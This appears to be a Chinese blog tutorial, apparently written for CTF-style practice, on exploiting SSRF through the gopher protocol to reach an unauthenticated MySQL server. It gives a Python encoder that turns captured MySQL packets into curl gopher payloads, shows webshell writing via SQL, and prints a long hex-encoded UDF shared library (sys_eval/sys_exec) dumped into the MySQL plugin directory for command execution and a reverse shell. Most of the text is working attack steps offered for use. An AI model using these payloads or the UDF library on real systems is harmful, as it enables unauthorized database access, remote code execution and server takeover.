SSRF的原理在这里就不多说了,直接看怎么去利用来攻击MySQL。
MySQL通信协议
MySQL连接方式
MySQL分为服务端和客户端,客户端连接服务器使存在三种方法:
Unix套接字;
内存共享/命名管道;
TCP/IP套接字;
- 在Linux或者Unix环境下,当我们输入
mysql –uroot –proot
登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用。 - 在Windows系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。
TCP/IP
套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql –h127.0.0.1 –uroot –proot
时就是要TCP/IP套接字。所以当我们需要抓取mysql通信数据包时必须使用TCP/IP
套接字连接。
MySQL认证过程
MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。
MySQL客户端与服务器的交互主要分为两个阶段:Connection Phase
(连接阶段或者叫认证阶段)和Command Phase
(命令阶段)。在连接阶段包括握手包和认证包,这里我们不详细说明握手包,主要关注认证数据包。
构造攻击数据包
配置空密码用户
首先我们需要配置一个空密码的用户1
2
3CREATEUSER ' usernopass'@'localhost';
GRANTUSAGE ON *.* TO ' usernopass'@'localhost';
GRANTALL ON *.* TO ' usernopass'@'localhost';
为了方便,我直接用的root。
抓取MySQL数据包
首先,开一个窗口,tcpdump -i lo port 3306 -w mysql.pcapng
,开始抓取3306的数据包。然后在另一个窗口,开启MySQL终端,查询一些信息。最后记得exit;
,不然会出问题。拿到流量包,随便选一个包,追踪TCP流然后提取request
包,并且显示为原始数据
编码原始数据并通过gopher协议攻击
把原始数据弄成一行,拿去编码,编码脚本如下1
2
3
4
5
6
7
8
9
10#encoding:utf-8
def result(s):
a=[s[i:i+2] for i in xrange(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%" + "%".join(a)
if __name__ == '__main__':
import sys
s=sys.argv[1]
print result(s)
把编码的结果拿去curl,用gopher
协议可以看到,已经拿到了查询结果。
SSRF to getshell
写webshell
其实道理和上面的是一样的,都是执行SQL语句然后抓取数据包,用gopher去打,只不过多了一些条件,也就是secure_file_priv
。同样的,开启tcpdump
,然后另一个窗口进行sql操作,写webshell
然后把它删掉,再用gopher
去打同样也成功写了个webshell
利用udf提权反弹shell
Linux下导入udf
我之前写过一篇windows
下的UDF提权,现在来看看linux
下的。
可以参考这篇文章但是导入之前其中有一步我没有成功,所以我直接用了那串很长的hex,一样可行。首先看看插件库的路径然后我们把库文件导入到该目录下(要先修改目录权限)1
select unhex('7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFF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into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb18/plugin/mysqludf.so';
再从里面导入函数create function sys_eval returns string soname 'mysqludf.so';
,这个so文件我放GitHub上了。然后就可以执行系统命令了。然后可以反弹shell同样的,可以抓取流量,然后模拟SSRF。getshell
:
实战
常见的存在SSRF漏洞的代码
1 |
|
愉快地进行SSRF
把之前那些payload
拿去url编码一下,再传进url参数就可以了~要注意的就是要找个与题目版本对得上的数据库
Referer
https://paper.seebug.org/510/
http://shaobaobaoer.cn/archives/643/gopher-8de8ae-ssrf-mysql-a0e7b6